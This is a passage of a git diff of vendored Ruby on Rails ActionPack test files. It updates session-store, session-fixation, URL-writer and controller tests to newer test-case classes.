-      :double_escaped => [CGI.escape('BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7AA%3D%3D--0af9156650dab044a53a91a4ddec2c51'), { 'user_id' => 123, 'flash' => {} }] }
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb b/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb
index a7d48431..2f80a3c7 100644
--- a/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb
+++ b/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb
@@ -1,181 +1,127 @@
 require 'abstract_unit'
-require 'action_controller/cgi_process'
-require 'action_controller/cgi_ext'
 
-
-class CGI::Session
-  def cache
-    dbman.instance_variable_get(:@cache)
-  end
-end
-
-
-uses_mocha 'MemCacheStore tests' do
-if defined? MemCache::MemCacheError
-
-class MemCacheStoreTest < Test::Unit::TestCase
-  SESSION_KEY_RE = /^session:[0-9a-z]+/
-  CONN_TEST_KEY = 'connection_test'
-  MULTI_TEST_KEY = '0123456789'
-  TEST_DATA = 'Hello test'
-
-  def self.get_mem_cache_if_available
-    begin
-      require 'memcache'
-      cache = MemCache.new('127.0.0.1')
-      # Test availability of the connection
-      cache.set(CONN_TEST_KEY, 1)
-      unless cache.get(CONN_TEST_KEY) == 1
-        puts 'Warning: memcache server available but corrupted.'
-        return nil
-      end
-    rescue LoadError, MemCache::MemCacheError
-      return nil
+# You need to start a memcached server inorder to run these tests
+class MemCacheStoreTest < ActionController::IntegrationTest
+  class TestController < ActionController::Base
+    def no_session_access
+      head :ok
     end
-    return cache
+
+    def set_session_value
+      session[:foo] = "bar"
+      head :ok
+    end
+
+    def get_session_value
+      render :text => "foo: #{session[:foo].inspect}"
+    end
+
+    def get_session_id
+      session[:foo]
+      render :text => "#{request.session_options[:id]}"
+    end
+
+    def call_reset_session
+      session[:bar]
+      reset_session
+      session[:bar] = "baz"
+      head :ok
+    end
+
+    def rescue_action(e) raise end
   end
 
-  CACHE = get_mem_cache_if_available
+  begin
+    DispatcherApp = ActionController::Dispatcher.new
+    MemCacheStoreApp = ActionController::Session::MemCacheStore.new(
+                         DispatcherApp, :key => '_session_id')
 
 
-  def test_initialization
-    assert_raise(ArgumentError) { new_session('session_id' => '!invalid_id') }
-    new_session do |s|
-      assert_equal Hash.new, s.cache.get('session:' + s.session_id)
+    def setup
+      @integration_session = open_session(MemCacheStoreApp)
     end
+
+    def test_setting_and_getting_session_value
+      with_test_route_set do
+        get '/set_session_value'
+        assert_response :success
+        assert cookies['_session_id']
+
+        get '/get_session_value'
+        assert_response :success
+        assert_equal 'foo: "bar"', response.body
+      end
+    end
+
+    def test_getting_nil_session_value
+      with_test_route_set do
+        get '/get_session_value'
+        assert_response :success
+        assert_equal 'foo: nil', response.body
+      end
+    end
+
+    def test_setting_session_value_after_session_reset
+      with_test_route_set do
+        get '/set_session_value'
+        assert_response :success
+        assert cookies['_session_id']
+        session_id = cookies['_session_id']
+
+        get '/call_reset_session'
+        assert_response :success
+        assert_not_equal [], headers['Set-Cookie']
+
+        get '/get_session_value'
+        assert_response :success
+        assert_equal 'foo: nil', response.body
+
+        get '/get_session_id'
+        assert_response :success
+        assert_not_equal session_id, response.body
+      end
+    end
+
+    def test_getting_session_id
+      with_test_route_set do
+        get '/set_session_value'
+        assert_response :success
+        assert cookies['_session_id']
+        session_id = cookies['_session_id']
+
+        get '/get_session_id'
+        assert_response :success
+        assert_equal session_id, response.body
+      end
+    end
+
+    def test_prevents_session_fixation
+      with_test_route_set do
+        get '/get_session_value'
+        assert_response :success
+        assert_equal 'foo: nil', response.body
+        session_id = cookies['_session_id']
+
+        reset!
+
+        get '/set_session_value', :_session_id => session_id
+        assert_response :success
+        assert_equal nil, cookies['_session_id']
+      end
+    end
+  rescue LoadError, RuntimeError
+    $stderr.puts "Skipping MemCacheStoreTest tests. Start memcached and try again."
   end
 
-
-  def test_storage
-    d = rand(0xffff)
-    new_session do |s|
-      session_key = 'session:' + s.session_id
-      unless CACHE
-        s.cache.expects(:get).with(session_key) \
-                             .returns(:test => d)
-        s.cache.expects(:set).with(session_key,
-                                   has_entry(:test, d),
-                                   0)
-      end
-      s[:test] = d
-      s.close
-      assert_equal d, s.cache.get(session_key)[:test]
-      assert_equal d, s[:test]
-    end
-  end         
-  
-  def test_deletion
-    new_session do |s|
-      session_key = 'session:' + s.session_id
-      unless CACHE
-        s.cache.expects(:delete)
-        s.cache.expects(:get).with(session_key) \
-                             .returns(nil)
-      end
-      s[:test] = rand(0xffff)
-      s.delete
-      assert_nil s.cache.get(session_key)
-    end
-  end
-
-
-  def test_other_session_retrieval
-    new_session do |sa|
-      unless CACHE
-        sa.cache.expects(:set).with('session:' + sa.session_id,
-                                    has_entry(:test, TEST_DATA),
-                                    0)
-      end
-      sa[:test] = TEST_DATA
-      sa.close
-      new_session('session_id' => sa.session_id) do |sb|
-        unless CACHE
-          sb.cache.expects(:[]).with('session:' + sb.session_id) \
-                               .returns(:test => TEST_DATA)
-        end
-        assert_equal(TEST_DATA, sb[:test])
-      end
-    end
-  end
-
-
-  def test_multiple_sessions
-    s_slots = Array.new(10)
-    operation = :write
-    last_data = nil
-    reads = writes = 0
-    50.times do
-      current = rand(10)
-      s_slots[current] ||= new_session('session_id' => MULTI_TEST_KEY,
-                                       'new_session' => true)
-      s = s_slots[current]
-      case operation
-      when :write
-        last_data = rand(0xffff)
-        unless CACHE
-          s.cache.expects(:set).with('session:' + MULTI_TEST_KEY,
-                                     { :test => last_data },
-                                     0)
-        end
-        s[:test] = last_data
-        s.close
-        writes += 1
-      when :read
-        # Make CGI::Session#[] think there was no data retrieval yet.
-        # Normally, the session caches the data during its lifetime.
-        s.instance_variable_set(:@data, nil)
-        unless CACHE
-          s.cache.expects(:[]).with('session:' + MULTI_TEST_KEY) \
-                              .returns(:test => last_data)
-        end
-        d = s[:test]
-        assert_equal(last_data, d, "OK reads: #{reads}, OK writes: #{writes}")
-        reads += 1
-      end
-      operation = rand(5) == 0 ? :write : :read
-    end
-  end
-
-
-
   private
-  def obtain_session_options
-    options = { 'database_manager' => CGI::Session::MemCacheStore,
-                'session_key' => '_test_app_session'
-              }
-    # if don't have running memcache server we use mock instead
-    unless CACHE
-      options['cache'] = c = mock
-      c.stubs(:[]).with(regexp_matches(SESSION_KEY_RE))
-      c.stubs(:get).with(regexp_matches(SESSION_KEY_RE)) \
-                   .returns(Hash.new)
-      c.stubs(:add).with(regexp_matches(SESSION_KEY_RE),
-                         instance_of(Hash),
-                         0)
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do |map|
+          map.with_options :controller => "mem_cache_store_test/test" do |c|
+            c.connect "/:action"
+          end
+        end
+        yield
+      end
     end
-    options
-  end
-
-
-  def new_session(options = {})
-    with_cgi do |cgi|
-      @options = obtain_session_options.merge(options)
-      session = CGI::Session.new(cgi, @options)
-      yield session if block_given?
-      return session
-    end
-  end
-
-  def with_cgi
-    ENV['REQUEST_METHOD'] = 'GET'
-    ENV['HTTP_HOST'] = 'example.com'
-    ENV['QUERY_STRING'] = ''
-
-    cgi = CGI.new('query', StringIO.new(''))
-    yield cgi if block_given?
-    cgi
-  end
 end
-
-end # defined? MemCache
-end # uses_mocha
diff --git a/vendor/rails/actionpack/test/controller/session/test_session_test.rb b/vendor/rails/actionpack/test/controller/session/test_session_test.rb
new file mode 100644
index 00000000..86926322
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/session/test_session_test.rb
@@ -0,0 +1,58 @@
+require 'abstract_unit'
+require 'stringio'
+
+class ActionController::TestSessionTest < ActiveSupport::TestCase
+  
+  def test_calling_delete_without_parameters_raises_deprecation_warning_and_calls_to_clear_test_session
+    assert_deprecated(/use clear instead/){ ActionController::TestSession.new.delete }
+  end
+  
+  def test_calling_update_without_parameters_raises_deprecation_warning_and_calls_to_clear_test_session
+    assert_deprecated(/use replace instead/){ ActionController::TestSession.new.update }
+  end
+  
+  def test_calling_close_raises_deprecation_warning
+    assert_deprecated(/sessions should no longer be closed/){ ActionController::TestSession.new.close }
+  end
+  
+  def test_defaults
+    session = ActionController::TestSession.new
+    assert_equal({}, session.data)
+    assert_equal('', session.session_id)
+  end
+  
+  def test_ctor_allows_setting
+    session = ActionController::TestSession.new({:one => 'one', :two => 'two'})
+    assert_equal('one', session[:one])
+    assert_equal('two', session[:two])
+  end
+  
+  def test_setting_session_item_sets_item
+    session = ActionController::TestSession.new
+    session[:key] = 'value'
+    assert_equal('value', session[:key])
+  end
+  
+  def test_calling_delete_removes_item_and_returns_its_value
+    session = ActionController::TestSession.new
+    session[:key] = 'value'
+    assert_equal('value', session[:key])
+    assert_equal('value', session.delete(:key))
+    assert_nil(session[:key])
+  end
+  
+  def test_calling_update_with_params_passes_to_attributes
+    session = ActionController::TestSession.new()
+    session.update('key' => 'value')
+    assert_equal('value', session[:key])
+  end
+  
+  def test_clear_emptys_session
+    params = {:one => 'one', :two => 'two'}
+    session = ActionController::TestSession.new({:one => 'one', :two => 'two'})
+    session.clear
+    assert_nil(session[:one])
+    assert_nil(session[:two])
+  end
+  
+end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/session_fixation_test.rb b/vendor/rails/actionpack/test/controller/session_fixation_test.rb
deleted file mode 100644
index 164438c5..00000000
--- a/vendor/rails/actionpack/test/controller/session_fixation_test.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-require 'abstract_unit'
-
-
-class SessionFixationTest < Test::Unit::TestCase
-  class MockCGI < CGI #:nodoc:
-    attr_accessor :stdoutput, :env_table
-
-    def initialize(env, data = '')
-      self.env_table = env
-      self.stdoutput = StringIO.new
-      super(nil, StringIO.new(data))
-    end
-  end
-
-  class TestController < ActionController::Base
-    session :session_key => '_myapp_session_id', :secret => CGI::Session.generate_unique_id, :except => :default_session_key
-    session :cookie_only => false, :only => :allow_session_fixation
-
-    def default_session_key
-      render :text => "default_session_key"
-    end
-
-    def custom_session_key
-      render :text => "custom_session_key: #{params[:id]}"
-    end
-
-    def allow_session_fixation
-      render :text => "allow_session_fixation"
-    end
-
-    def rescue_action(e) raise end
-  end
-
-  def setup
-    @controller = TestController.new
-  end
-
-  def test_should_be_able_to_make_a_successful_request
-    cgi = mock_cgi_for_request_to(:custom_session_key, :id => 1)
-
-    assert_nothing_raised do
-      @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
-    end
-    assert_equal 'custom_session_key: 1', @controller.response.body
-    assert_not_nil @controller.session
-  end
-
-  def test_should_catch_session_fixation_attempt
-    cgi = mock_cgi_for_request_to(:custom_session_key, :_myapp_session_id => 42)
-
-    assert_raises ActionController::CgiRequest::SessionFixationAttempt do
-      @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
-    end
-    assert_nil @controller.session
-  end
-
-  def test_should_not_catch_session_fixation_attempt_when_cookie_only_setting_is_disabled
-    cgi = mock_cgi_for_request_to(:allow_session_fixation, :_myapp_session_id => 42)
-
-    assert_nothing_raised do
-      @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
-    end
-    assert ! @controller.response.body.blank?
-    assert_not_nil @controller.session
-  end
-
-  def test_should_catch_session_fixation_attempt_with_default_session_key
-    ActionController::Base.session_store = :p_store # using the default session_key is not possible with cookie store
-    cgi = mock_cgi_for_request_to(:default_session_key, :_session_id => 42)
-
-    assert_raises ActionController::CgiRequest::SessionFixationAttempt do
-      @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
-    end
-    assert @controller.response.body.blank?
-    assert_nil @controller.session
-  end
-
-private
-
-  def mock_cgi_for_request_to(action, params = {})
-    MockCGI.new({
-      "REQUEST_METHOD" => "GET",
-      "QUERY_STRING"   => "action=#{action}&#{params.to_query}",
-      "REQUEST_URI"    => "/",
-      "SERVER_PORT"    => "80",
-      "HTTP_HOST"      => "testdomain.com" }, '')
-  end
-
-end
diff --git a/vendor/rails/actionpack/test/controller/session_management_test.rb b/vendor/rails/actionpack/test/controller/session_management_test.rb
deleted file mode 100644
index 592b0b54..00000000
--- a/vendor/rails/actionpack/test/controller/session_management_test.rb
+++ /dev/null
@@ -1,178 +0,0 @@
-require 'abstract_unit'
-
-class SessionManagementTest < Test::Unit::TestCase
-  class SessionOffController < ActionController::Base
-    session :off
-
-    def show
-      render :text => "done"
-    end
-
-    def tell
-      render :text => "done"
-    end
-  end
-
-  class SessionOffOnController < ActionController::Base
-    session :off
-    session :on, :only => :tell
-
-    def show
-      render :text => "done"
-    end
-
-    def tell
-      render :text => "done"
-    end
-  end
-
-  class TestController < ActionController::Base
-    session :off, :only => :show
-    session :session_secure => true, :except => :show
-    session :off, :only => :conditional,
-            :if => Proc.new { |r| r.parameters[:ws] }
-
-    def show
-      render :text => "done"
-    end
-
-    def tell
-      render :text => "done"
-    end
-
-    def conditional
-      render :text => ">>>#{params[:ws]}<<<"
-    end
-  end
-
-  class SpecializedController < SessionOffController
-    session :disabled => false, :only => :something
-
-    def something
-      render :text => "done"
-    end
-
-    def another
-      render :text => "done"
-    end
-  end
-
-  class AssociationCachingTestController < ActionController::Base
-    class ObjectWithAssociationCache
-      def initialize
-        @cached_associations = false
-      end
-
-      def fetch_associations
-        @cached_associations = true
-      end
-
-      def clear_association_cache
-        @cached_associations = false
-      end
-
-      def has_cached_associations?
-        @cached_associations
-      end
-    end
-
-    def show
-      session[:object] = ObjectWithAssociationCache.new
-      session[:object].fetch_associations
-      if session[:object].has_cached_associations?
-        render :text => "has cached associations"
-      else
-        render :text => "does not have cached associations"
-      end
-    end
-
-    def tell
-      if session[:object]
-        if session[:object].has_cached_associations?
-          render :text => "has cached associations"
-        else
-          render :text => "does not have cached associations"
-        end
-      else
-        render :text => "there is no object"
-      end
-    end
-  end
-
-
-  def setup
-    @request, @response = ActionController::TestRequest.new,
-      ActionController::TestResponse.new
-  end
-
-  def test_session_off_globally
-    @controller = SessionOffController.new
-    get :show
-    assert_equal false, @request.session_options
-    get :tell
-    assert_equal false, @request.session_options
-  end
-
-  def test_session_off_then_on_globally
-    @controller = SessionOffOnController.new
-    get :show
-    assert_equal false, @request.session_options
-    get :tell
-    assert_instance_of Hash, @request.session_options
-    assert_equal false, @request.session_options[:disabled]
-  end
-  
-  def test_session_off_conditionally
-    @controller = TestController.new
-    get :show
-    assert_equal false, @request.session_options
-    get :tell
-    assert_instance_of Hash, @request.session_options
-    assert @request.session_options[:session_secure]
-  end
-
-  def test_controller_specialization_overrides_settings
-    @controller = SpecializedController.new
-    get :something
-    assert_instance_of Hash, @request.session_options
-    get :another
-    assert_equal false, @request.session_options
-  end
-
-  def test_session_off_with_if
-    @controller = TestController.new
-    get :conditional
-    assert_instance_of Hash, @request.session_options
-    get :conditional, :ws => "ws"
-    assert_equal false, @request.session_options
-  end
-  
-  def test_session_store_setting
-    ActionController::Base.session_store = :drb_store
-    assert_equal CGI::Session::DRbStore, ActionController::Base.session_store
-
-    if Object.const_defined?(:ActiveRecord)
-      ActionController::Base.session_store = :active_record_store
-      assert_equal CGI::Session::ActiveRecordStore, ActionController::Base.session_store
-    end
-  end
-  
-  def test_process_cleanup_with_session_management_support
-    @controller = AssociationCachingTestController.new
-    get :show
-    assert_equal "has cached associations", @response.body
-    get :tell
-    assert_equal "does not have cached associations", @response.body
-  end
-  
-  def test_session_is_enabled
-    @controller = TestController.new
-    get :show
-    assert_nothing_raised do
-      assert_equal false, @controller.session_enabled?
-    end
-    
-    get :tell
-    assert @controller.session_enabled?
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/test_test.rb b/vendor/rails/actionpack/test/controller/test_test.rb
index 7a2bb2b0..3924b282 100644
--- a/vendor/rails/actionpack/test/controller/test_test.rb
+++ b/vendor/rails/actionpack/test/controller/test_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'controller/fake_controllers'
 
-class TestTest < Test::Unit::TestCase
+class TestTest < ActionController::TestCase
   class TestController < ActionController::Base
     def no_op
       render :text => 'dummy'
@@ -23,8 +23,13 @@ class TestTest < Test::Unit::TestCase
       render :text => 'Success'
     end
 
+    def reset_the_session
+      reset_session
+      render :text => 'ignore me'
+    end
+
     def render_raw_post
-      raise Test::Unit::AssertionFailedError, "#raw_post is blank" if request.raw_post.blank?
+      raise ActiveSupport::TestCase::Assertion, "#raw_post is blank" if request.raw_post.blank?
       render :text => request.raw_post
     end
 
@@ -171,6 +176,24 @@ XML
     assert_equal 'value2', session[:symbol]
   end
 
+  def test_session_is_cleared_from_controller_after_reset_session
+    process :set_session
+    process :reset_the_session
+    assert_equal Hash.new, @controller.session.to_hash
+  end
+
+  def test_session_is_cleared_from_response_after_reset_session
+    process :set_session
+    process :reset_the_session
+    assert_equal Hash.new, @response.session.to_hash
+  end
+
+  def test_session_is_cleared_from_request_after_reset_session
+    process :set_session
+    process :reset_the_session
+    assert_equal Hash.new, @request.session.to_hash
+  end
+
   def test_process_with_request_uri_with_no_params
     process :test_uri
     assert_equal "/test_test/test/test_uri", @response.body
@@ -492,6 +515,14 @@ XML
     assert_nil @request.instance_variable_get("@request_method")
   end
 
+  def test_params_reset_after_post_request
+    post :no_op, :foo => "bar"
+    assert_equal "bar", @request.params[:foo]
+    @request.recycle!
+    post :no_op
+    assert @request.params[:foo].blank?
+  end
+
   %w(controller response request).each do |variable|
     %w(get post put delete head process).each do |method|
       define_method("test_#{variable}_missing_for_#{method}_raises_error") do
@@ -580,7 +611,7 @@ XML
     assert_equal @response.redirect_url, redirect_to_url
 
     # Must be a :redirect response.
-    assert_raise(Test::Unit::AssertionFailedError) do
+    assert_raise(ActiveSupport::TestCase::Assertion) do
       assert_redirected_to 'created resource'
     end
   end
@@ -602,9 +633,9 @@ XML
     end
 end
 
-class CleanBacktraceTest < Test::Unit::TestCase
+class CleanBacktraceTest < ActionController::TestCase
   def test_should_reraise_the_same_object
-    exception = Test::Unit::AssertionFailedError.new('message')
+    exception = ActiveSupport::TestCase::Assertion.new('message')
     clean_backtrace { raise exception }
   rescue Exception => caught
     assert_equal exception.object_id, caught.object_id
@@ -613,7 +644,7 @@ class CleanBacktraceTest < Test::Unit::TestCase
 
   def test_should_clean_assertion_lines_from_backtrace
     path = File.expand_path("#{File.dirname(__FILE__)}/../../lib/action_controller")
-    exception = Test::Unit::AssertionFailedError.new('message')
+    exception = ActiveSupport::TestCase::Assertion.new('message')
     exception.set_backtrace ["#{path}/abc", "#{path}/assertions/def"]
     clean_backtrace { raise exception }
   rescue Exception => caught
@@ -629,21 +660,17 @@ class CleanBacktraceTest < Test::Unit::TestCase
   end
 end
 
-class InferringClassNameTest < Test::Unit::TestCase
+class InferringClassNameTest < ActionController::TestCase
   def test_determine_controller_class
     assert_equal ContentController, determine_class("ContentControllerTest")
   end
 
   def test_determine_controller_class_with_nonsense_name
-    assert_raises ActionController::NonInferrableControllerError do
-      determine_class("HelloGoodBye")
-    end
+    assert_nil determine_class("HelloGoodBye")
   end
 
   def test_determine_controller_class_with_sensible_name_where_no_controller_exists
-    assert_raises ActionController::NonInferrableControllerError do
-      determine_class("NoControllerWithThisNameTest")
-    end
+    assert_nil determine_class("NoControllerWithThisNameTest")
   end
 
   private
diff --git a/vendor/rails/actionpack/test/controller/url_rewriter_test.rb b/vendor/rails/actionpack/test/controller/url_rewriter_test.rb
index 64e9a085..fdc4cfa3 100644
--- a/vendor/rails/actionpack/test/controller/url_rewriter_test.rb
+++ b/vendor/rails/actionpack/test/controller/url_rewriter_test.rb
@@ -2,7 +2,7 @@ require 'abstract_unit'
 
 ActionController::UrlRewriter
 
-class UrlRewriterTests < Test::Unit::TestCase
+class UrlRewriterTests < ActionController::TestCase
   def setup
     @request = ActionController::TestRequest.new
     @params = {}
@@ -46,6 +46,20 @@ class UrlRewriterTests < Test::Unit::TestCase
     )
   end
 
+  def test_anchor_should_call_to_param
+    assert_equal(
+      'http://test.host/c/a/i#anchor',
+      @rewriter.rewrite(:controller => 'c', :action => 'a', :id => 'i', :anchor => Struct.new(:to_param).new('anchor'))
+    )
+  end
+
+  def test_anchor_should_be_cgi_escaped
+    assert_equal(
+      'http://test.host/c/a/i#anc%2Fhor',
+      @rewriter.rewrite(:controller => 'c', :action => 'a', :id => 'i', :anchor => Struct.new(:to_param).new('anc/hor'))
+    )
+  end
+
   def test_overwrite_params
     @params[:controller] = 'hi'
     @params[:action] = 'bye'
@@ -85,8 +99,7 @@ class UrlRewriterTests < Test::Unit::TestCase
   end
 end
 
-class UrlWriterTests < Test::Unit::TestCase
-
+class UrlWriterTests < ActionController::TestCase
   class W
     include ActionController::UrlWriter
   end
@@ -100,7 +113,7 @@ class UrlWriterTests < Test::Unit::TestCase
   end
 
   def test_exception_is_thrown_without_host
-    assert_raises RuntimeError do
+    assert_raise RuntimeError do
       W.new.url_for :controller => 'c', :action => 'a', :id => 'i'
     end
   end
@@ -111,6 +124,18 @@ class UrlWriterTests < Test::Unit::TestCase
     )
   end
 
+  def test_anchor_should_call_to_param
+    assert_equal('/c/a#anchor',
+      W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('anchor'))
+    )
+  end
+
+  def test_anchor_should_be_cgi_escaped
+    assert_equal('/c/a#anc%2Fhor',
+      W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('anc/hor'))
+    )
+  end
+
   def test_default_host
     add_host!
     assert_equal('http://www.basecamphq.com/c/a/i',
@@ -302,6 +327,57 @@ class UrlWriterTests < Test::Unit::TestCase
     assert_generates("/image", :controller=> :image)
   end
 
+  def test_named_routes_with_nil_keys
+    ActionController::Routing::Routes.clear!
+    ActionController::Routing::Routes.draw do |map|
+      map.main '', :controller => 'posts', :format => nil
+      map.resources :posts
+      map.connect ':controller/:action/:id'
+    end
+    # We need to create a new class in order to install the new named route.
+    kls = Class.new { include ActionController::UrlWriter }
+    kls.default_url_options[:host] = 'www.basecamphq.com'
+
+    controller = kls.new
+    params = {:action => :index, :controller => :posts, :format => :xml}
+    assert_equal("http://www.basecamphq.com/posts.xml", controller.send(:url_for, params))
+    params[:format] = nil
+    assert_equal("http://www.basecamphq.com/", controller.send(:url_for, params))
+  ensure
+    ActionController::Routing::Routes.load!
+  end
+
+  def test_formatted_url_methods_are_deprecated
+    ActionController::Routing::Routes.draw do |map|
+      map.resources :posts
+    end
+    # We need to create a new class in order to install the new named route.
+    kls = Class.new { include ActionController::UrlWriter }
+    controller = kls.new
+    params = {:id => 1, :format => :xml}
+    assert_deprecated do
+      assert_equal("/posts/1.xml", controller.send(:formatted_post_path, params))    
+    end
+    assert_deprecated do
+      assert_equal("/posts/1.xml", controller.send(:formatted_post_path, 1, :xml))    
+    end
+  ensure
+    ActionController::Routing::Routes.load!
+  end
+
+  def test_multiple_includes_maintain_distinct_options
+    first_class = Class.new { include ActionController::UrlWriter }
+    second_class = Class.new { include ActionController::UrlWriter }
+
+    first_host, second_host = 'firsthost.com', 'secondhost.com'
+
+    first_class.default_url_options[:host] = first_host
+    second_class.default_url_options[:host] = second_host
+
+    assert_equal first_class.default_url_options[:host], first_host
+    assert_equal second_class.default_url_options[:host], second_host
+  end
+
   private
     def extract_params(url)
       url.split('?', 2).last.split('&')
diff --git a/vendor/rails/actionpack/test/controller/verification_test.rb b/vendor/rails/actionpack/test/controller/verification_test.rb
index b2894431..418a81ba 100644
--- a/vendor/rails/actionpack/test/controller/verification_test.rb
+++ b/vendor/rails/actionpack/test/controller/verification_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class VerificationTest < Test::Unit::TestCase
+class VerificationTest < ActionController::TestCase
   class TestController < ActionController::Base
     verify :only => :guarded_one, :params => "one",
            :add_flash => { :error => 'unguarded' },
diff --git a/vendor/rails/actionpack/test/controller/view_paths_test.rb b/vendor/rails/actionpack/test/controller/view_paths_test.rb
index b859a92c..8ea13fbe 100644
--- a/vendor/rails/actionpack/test/controller/view_paths_test.rb
+++ b/vendor/rails/actionpack/test/controller/view_paths_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class ViewLoadPathsTest < Test::Unit::TestCase
+class ViewLoadPathsTest < ActionController::TestCase
   class TestController < ActionController::Base
     def self.controller_path() "test" end
     def rescue_action(e) raise end
@@ -41,31 +41,31 @@ class ViewLoadPathsTest < Test::Unit::TestCase
   def teardown
     ActiveSupport::Deprecation.behavior = @old_behavior
   end
-
+  
   def test_template_load_path_was_set_correctly
-    assert_equal [FIXTURE_LOAD_PATH], @controller.view_paths
+    assert_equal [FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
   end
 
   def test_controller_appends_view_path_correctly
     @controller.append_view_path 'foo'
-    assert_equal [FIXTURE_LOAD_PATH, 'foo'], @controller.view_paths
+    assert_equal [FIXTURE_LOAD_PATH, 'foo'], @controller.view_paths.map(&:to_s)
 
     @controller.append_view_path(%w(bar baz))
-    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz'], @controller.view_paths
+    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz'], @controller.view_paths.map(&:to_s)
 
     @controller.append_view_path(FIXTURE_LOAD_PATH)
-    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths
+    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
   end
 
   def test_controller_prepends_view_path_correctly
     @controller.prepend_view_path 'baz'
-    assert_equal ['baz', FIXTURE_LOAD_PATH], @controller.view_paths
+    assert_equal ['baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
 
     @controller.prepend_view_path(%w(foo bar))
-    assert_equal ['foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths
+    assert_equal ['foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
 
     @controller.prepend_view_path(FIXTURE_LOAD_PATH)
-    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths
+    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
   end
 
   def test_template_appends_view_path_correctly
@@ -73,10 +73,10 @@ class ViewLoadPathsTest < Test::Unit::TestCase
     class_view_paths = TestController.view_paths
 
     @controller.append_view_path 'foo'
-    assert_equal [FIXTURE_LOAD_PATH, 'foo'], @controller.view_paths
+    assert_equal [FIXTURE_LOAD_PATH, 'foo'], @controller.view_paths.map(&:to_s)
 
     @controller.append_view_path(%w(bar baz))
-    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz'], @controller.view_paths
+    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz'], @controller.view_paths.map(&:to_s)
     assert_equal class_view_paths, TestController.view_paths
   end
 
@@ -85,10 +85,10 @@ class ViewLoadPathsTest < Test::Unit::TestCase
     class_view_paths = TestController.view_paths
 
     @controller.prepend_view_path 'baz'
-    assert_equal ['baz', FIXTURE_LOAD_PATH], @controller.view_paths
+    assert_equal ['baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
 
     @controller.prepend_view_path(%w(foo bar))
-    assert_equal ['foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths
+    assert_equal ['foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
     assert_equal class_view_paths, TestController.view_paths
   end
 
@@ -130,12 +130,12 @@ class ViewLoadPathsTest < Test::Unit::TestCase
 
     A.view_paths = ['a/path']
 
-    assert_equal ['a/path'], A.view_paths
+    assert_equal ['a/path'], A.view_paths.map(&:to_s)
     assert_equal A.view_paths, B.view_paths
     assert_equal original_load_paths, C.view_paths
 
     C.view_paths = []
     assert_nothing_raised { C.view_paths << 'c/path' }
-    assert_equal ['c/path'], C.view_paths
+    assert_equal ['c/path'], C.view_paths.map(&:to_s)
   end
 end
diff --git a/vendor/rails/actionpack/test/controller/webservice_test.rb b/vendor/rails/actionpack/test/controller/webservice_test.rb
index 32f67ddd..e89d6bb9 100644
--- a/vendor/rails/actionpack/test/controller/webservice_test.rb
+++ b/vendor/rails/actionpack/test/controller/webservice_test.rb
@@ -1,19 +1,7 @@
 require 'abstract_unit'
 
-class WebServiceTest < Test::Unit::TestCase
-  class MockCGI < CGI #:nodoc:
-    attr_accessor :stdoutput, :env_table
-
-    def initialize(env, data = '')
-      self.env_table = env
-      self.stdoutput = StringIO.new
-      super(nil, StringIO.new(data))
-    end
-  end
-
+class WebServiceTest < ActionController::IntegrationTest
   class TestController < ActionController::Base
-    session :off
-
     def assign_parameters
       if params[:full]
         render :text => dump_params_keys
@@ -22,7 +10,7 @@ class WebServiceTest < Test::Unit::TestCase
       end
     end
 
-    def dump_params_keys(hash=params)
+    def dump_params_keys(hash = params)
       hash.keys.sort.inject("") do |s, k|
         value = hash[k]
         value = Hash === value ? "(#{dump_params_keys(value)})" : ""
@@ -33,7 +21,7 @@ class WebServiceTest < Test::Unit::TestCase
 
     def rescue_action(e) raise end
   end
-  
+
   def setup
     @controller = TestController.new
     @default_param_parsers = ActionController::Base.param_parsers.dup
@@ -44,186 +32,229 @@ class WebServiceTest < Test::Unit::TestCase
   end
 
   def test_check_parameters
-    process('GET')
-    assert_equal '', @controller.response.body
+    with_test_route_set do
+      get "/"
+      assert_equal '', @controller.response.body
+    end
   end
 
   def test_post_xml
-    process('POST', 'application/xml', '<entry attributed="true"><summary>content...</summary></entry>')
-    
-    assert_equal 'entry', @controller.response.body
